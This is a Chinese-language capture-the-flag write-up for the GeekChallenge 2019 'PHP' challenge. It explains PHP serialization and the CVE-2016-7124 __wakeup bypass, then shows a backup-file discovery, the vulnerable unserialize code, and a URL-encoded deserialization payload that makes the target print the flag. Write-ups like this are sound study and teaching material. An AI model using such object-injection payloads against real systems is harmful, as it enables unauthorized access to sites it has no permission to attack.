[极客大挑战 2019]PHP学习笔记

目录

    • 前置知识
      • [1. PHP 序列化与反序列化](#1. PHP 序列化与反序列化)
      • [2. PHP 魔术方法](#2. PHP 魔术方法)
      • [3. CVE-2016-7124(`__wakeup` 绕过)](#3. CVE-2016-7124(__wakeup 绕过))
      • [4. 私有属性的序列化格式](#4. 私有属性的序列化格式)
    • 正文

前置知识

在开始做题之前,先理解几个关键概念:

1. PHP 序列化与反序列化

  • 序列化(serialize):把 PHP 对象转换成可存储/传输的字符串格式
  • 反序列化(unserialize):把序列化字符串恢复成 PHP 对象
php 复制代码
// 一个简单对象的序列化结果
O:4:"Name":2:{s:14:"\0Name\0username";s:5:"admin";...}
// ↑类名  ↑属性数  ↑属性名(带空字节)  ↑属性值

2. PHP 魔术方法

  • __wakeup():反序列化时自动调用(常用于重新连接数据库、重置属性等)
  • __destruct():对象销毁时自动调用(常用于释放资源)
  • __construct():创建对象时调用

3. CVE-2016-7124(__wakeup 绕过)

PHP 5.x ~ 7.0.10 版本中,如果序列化字符串声明的属性数量 大于实际的属性数量,__wakeup() 方法会被跳过不执行。

4. 私有属性的序列化格式

PHP 中 private 属性在序列化时,属性名会被加上 \0ClassName\0 前缀(即:空字节 + 类名 + 空字节)。因此:

  • private $username → 序列化后为 \0Name\0username(长度为 14)
  • private $password → 序列化后为 \0Name\0password(长度为 14)

正文

一、信息收集

访问目标网站,发现是一个展示猫咪的页面,页面上有一句提示:

"因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯"

这句话暗示网站存在备份文件。尝试访问常见的备份文件名:

url 复制代码
https://target.com/www.zip

成功下载得到 www.zip。解压后得到以下文件:

文件名 作用
index.php 主页面,接收 select 参数并反序列化
class.php 定义 Name 类,包含 __wakeup__destruct 魔术方法
flag.php 定义 $flag 变量(本地测试用)
style.css 样式文件
index.js 前端 3D 动画

二、zip包内容代码审计

先看index.php(关键部分):

php 复制代码
include 'class.php';
$select = $_GET['select'];
$res = unserialize(@$select);

直接从 GET 参数 select 获取输入并反序列化,没有任何过滤

再看class.php(关键部分):

php 复制代码
class Name {
    private $username = 'nonono';
    private $password = 'yesyes';

    function __wakeup() {
        $this->username = 'guest';  // 反序列化时重置为 guest
    }

    function __destruct() {
        if ($this->password != 100) {
            die("NO!!!hacker!!!");
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;  // 打印 flag!
        }
    }
}

逻辑分析

  1. __destruct() 在对象销毁时执行
  2. 需要 $password == 100$username === 'admin'
  3. __wakeup() 会在反序列化时把 $username 改成 'guest'
  4. 服务端 PHP 版本为 5.3.3 ,可以利用 CVE-2016-7124 绕过 __wakeup()

三、构造payload

需要构造一个序列化对象,满足:

  • $username = 'admin'
  • $password = 100
  • 绕过 __wakeup()

正常序列化字符串(会被 __wakeup 拦截):

复制代码
O:4:"Name":2:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}

绕过 __wakeup()(把属性数量从 2 改成 3):

复制代码
O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}

URL 编码后(注意 \0 空字节要编码为 %00):

复制代码
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

四、发送 Payload 获取 Flag

访问目标网址(注意把 URL 编码后的 payload 拼接到 ?select= 后面):

html 复制代码
http://目标网址/?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
相关推荐
Linux-lucky5 小时前
21-Linux学习之旅之HTTPS和安全加固
linux·运维·学习·ubuntu·https
wp123_15 小时前
硬件元器件笔记|IPX8 防水 Type‑C 母座安费诺 124018802112A 与 TONEVEE TY48086‑24A 分析
c语言·开发语言·笔记
mifengxing6 小时前
操作系统 文件系统
笔记·操作系统·计算机408
学运维的Kysan7 小时前
暑假运维学习打卡第二十六天8.17
学习
无聊的菜鸟7 小时前
TMS320F2806X学习笔记(零)—— C2000、CCS、新建工程
笔记·mcu·c2000·f2806x
dear_bi_MyOnly7 小时前
AI人工智能分类识别——机器如何学习
人工智能·学习·分类
ljt27249606618 小时前
Compose笔记(八十三)--onVisibilityChanged
笔记
90后小陈老师9 小时前
PHP 配置默认值失效排查实录:isset 兜底遇上表单空串回填,首页文案是怎么集体消失的
开发语言·php
启雀AI10 小时前
培训平台移动端离线学习方案设计与实现:视频缓存、断点续传与进度同步的工程实践
android·学习·缓存·音视频·企业lms
Fa_Mian_Tuan12 小时前
图论基础|邻接矩阵超详细讲解(含无向/有向/带权图+完整可运行C语言代码)
c语言·数据结构·笔记·算法·图论